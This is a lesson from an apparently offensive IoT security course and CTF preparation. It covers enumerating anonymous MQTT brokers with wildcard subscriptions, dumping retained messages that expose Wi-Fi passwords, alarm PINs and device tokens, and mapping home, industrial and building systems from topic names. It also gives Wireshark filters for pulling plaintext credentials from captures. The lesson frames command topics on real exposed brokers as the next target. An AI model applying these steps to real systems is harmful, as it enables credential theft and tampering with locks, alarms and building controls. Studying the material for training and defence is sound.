L3 — Subscribing to Everything

You've confirmed a broker accepts anonymous connections. The next step is full topic enumeration. This lesson covers how to extract the complete state of a broker — current messages and historical retained data — and how to read device architecture from topic naming.

The # Wildcard Subscribe

A single command subscribes to every topic on the broker simultaneously:

mosquitto_sub -h <broker> -p 1883 -t "#" -v

Flags: - -t "#" — subscribe to the multi-level wildcard, matching every topic - -v — verbose mode, prints the topic name before each message payload

Without -v, you receive only payloads with no topic context. Always use -v.

Output format:

home/bedroom/temperature 22.4
home/bedroom/humidity 58
home/alarm/armed false
home/alarm/last_trigger 1715680023
device/shelly1/relay/0/state ON
device/shelly1/input/0/state 0

This is a live stream. Every message published to the broker by any device appears here in real time.

Retained Messages: Offline Device History

Retained messages are served immediately on subscription, before any live traffic arrives. To force a dump of all retained messages and then disconnect:

# -C 1 disconnects after receiving 1 message — useful for testing
mosquitto_sub -h <broker> -t "#" -v -C 100

A better approach: let it run for 5–10 seconds and kill it. The initial burst of messages is predominantly retained data from all topics. Live traffic arrives continuously afterward.

# Capture for 10 seconds
timeout 10 mosquitto_sub -h <broker> -t "#" -v

What retained messages look like in practice:

device/config/wifi_ssid HomeNetwork_5G
device/config/wifi_pass [REDACTED_BUT_ACTUALLY_PLAINTEXT]
home/alarm/armed false
home/alarm/pin 4821
factory/line1/machine3/calibration {"offset":2.3,"scale":1.001}
building/thermostat/setpoint 21
ota/device001/last_firmware_url http://192.168.1.50/firmware/v1.2.bin

This data was published by devices that may be offline, decommissioned, or running different firmware. The broker doesn't expire retained messages unless you explicitly overwrite them with an empty payload.

Saving the Full Capture

mosquitto_sub -h <broker> -t "#" -v | tee mqtt_capture.txt

tee writes to the file and still prints to stdout so you can watch in real time. Run this before doing anything else. You want a complete log before the session ends.

For timestamped captures:

mosquitto_sub -h <broker> -t "#" -v | while read line; do
  echo "$(date -Iseconds) $line"
done | tee mqtt_capture_$(date +%Y%m%d_%H%M%S).txt

Reading Architecture from Topic Hierarchy

The topic structure is documentation that the device developers wrote without intending to share it publicly. It reveals:

Industrial Systems

factory/line1/machine3/status
factory/line1/machine3/rpm
factory/line1/machine3/temp_bearing
factory/line1/machine3/alarm
factory/line2/machine1/status

This tells you: two production lines, at least three machines on line 1, one on line 2. Machine 3 on line 1 monitors bearing temperature and has an alarm topic. The status and alarm topics are likely command-response targets.

Home Automation

home/alarm/armed
home/alarm/pin
home/alarm/last_trigger
home/alarm/command
home/front_door/lock/state
home/front_door/lock/command
home/living_room/light/state
home/living_room/light/command

Pattern: state topics are sensor outputs, command topics accept input. The alarm PIN is stored as a retained message. The front door lock has a command topic.

SCADA / Building Management

building/floor3/hvac/setpoint
building/floor3/hvac/current_temp
building/floor3/hvac/mode
building/elevator/status
building/generator/fuel_level
building/generator/command

Generator has a command topic. HVAC setpoints are writable (they come from somewhere — often another MQTT client acting as a controller). This is the topology of a building management system exposed directly on the internet.

Device Identity in Topics

Many deployments embed device identifiers in topics:

device/ESP32_A1B2C3/telemetry
device/ESP32_A1B2C3/command
device/shelly-plug-abc123/status
device/shelly-plug-abc123/relay/command
tasmota/DVES_A1B2C3/tele/SENSOR
tasmota/DVES_A1B2C3/cmnd/POWER

The identifier in the topic is often the device's MAC address suffix or hostname. This maps to a specific physical device.

Wireshark MQTT Analysis (Challenge Preparation)

For the MQTT Spy challenge, you'll analyze a packet capture rather than live traffic. The workflow is identical to live interception — the difference is the data source.

Opening MQTT Captures

Open the .pcap file in Wireshark. The MQTT dissector activates automatically for traffic on port 1883.

Key Filters

# All MQTT traffic
mqtt

# Only CONNECT packets (credentials are here)
mqtt.msgtype == 1

# Only PUBLISH packets (data and payloads)
mqtt.msgtype == 3

# Only SUBSCRIBE packets (see what clients are watching)
mqtt.msgtype == 8

# Filter by topic string
mqtt.topic contains "telemetry"

# Filter by payload content
mqtt.payload contains "token"

CONNECT Packet Fields in Wireshark

Expanding a MQTT CONNECT packet in Wireshark shows:

MQ Telemetry Transport Protocol, Connect Command
  Header Flags: 0x10 (Connect Command)
  Connect Flags: 0xC2
    User Name Flag: Set
    Password Flag: Set
  Client ID: ESP32_sensor_04
  User Name: admin
  Password: mqtt_pass_2024

This is the credential extraction. One CONNECT packet, plaintext credentials, visible to anyone with the capture file.

PUBLISH Packet Fields

MQ Telemetry Transport Protocol, Publish Message
  Header Flags: 0x30 (Publish Message)
  Topic: device/ESP32_sensor_04/telemetry
  Message: {"device_token":"eyJhbGciOiJIUzI1NiJ9...","temp":22.4,"ts":1715680234}

Device tokens embedded in telemetry payloads are common — they're used for cloud authentication and often have long expiry times. Find one in a pcap, and you may have persistent access to the device's cloud account.

What You Actually Find

After running mosquitto_sub -h <broker> -t "#" -v for a few minutes against a real exposed broker, the typical findings are:

• Temperature/humidity sensors — harmless on their own, but reveal the deployment exists
• Lock state and alarm state — directly security-relevant
• Device credentials — API keys, tokens, passwords published as config retained messages
• Internal IP addresses — published as device metadata, useful for network mapping
• Firmware update URLs — internal HTTP servers serving firmware to devices
• Command topics — write to these in the next phase

The volume of data varies. A single residential broker might have 20 topics. An industrial deployment can have thousands.

Key Takeaways

• mosquitto_sub -h <broker> -t "#" -v is your first command on any open broker
• Retained messages arrive immediately and contain historical state, often including credentials
• Topic hierarchy reveals device architecture and ownership without any further interaction
• Pipe to tee immediately — you want a log of everything before you start interacting
• Wireshark filter mqtt.msgtype == 1 extracts credentials from CONNECT packets in any capture